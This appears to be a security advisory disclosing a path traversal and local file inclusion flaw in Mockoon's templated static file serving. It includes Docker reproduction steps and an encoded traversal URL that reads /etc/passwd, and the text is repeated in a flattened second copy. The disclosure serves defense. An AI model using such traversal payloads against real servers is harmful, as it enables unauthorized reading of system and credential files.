Summary
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
The issue may be particularly relevant in cloud hosted server instances
Details
In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser
let filePath = TemplateParser({
shouldOmitDataHelper: false,
// replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots'}})
content: routeResponse.filePath.replace(/\\(?!\.)/g, '/'),
environment: this.environment,
processedDatabuckets: this.processedDatabuckets,
globalVariables: this.globalVariables,
request: serverRequest,
envVarsPrefix: this.options.envVarsPrefix
});The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. ../../../../../etc/passwd)
PoC
Test setup
The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest
config.json
# Folder setup
mkdir mockoon-test
cd mockoon-test
# put config.json in mockooon-test dir
mkdir static
# Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000
Payload to reproduce
Browsing directly to http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem
References
RisingZero Finder
Summary
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.
The issue may be particularly relevant in cloud hosted server instances
Details
In
sendFileWithCallback(code) andsendFile(code) thefilePathvariable is parsed usingTemplateParserThe path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g.
../../../../../etc/passwd)PoC
Test setup
The issue has been tested with
mockoon-cli, using the Docker imagemockoon/cli:latestconfig.json
# Run container docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000Payload to reproduce
Browsing directly to
http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswdis going to display the/etc/passwdfile in the container filesystemReferences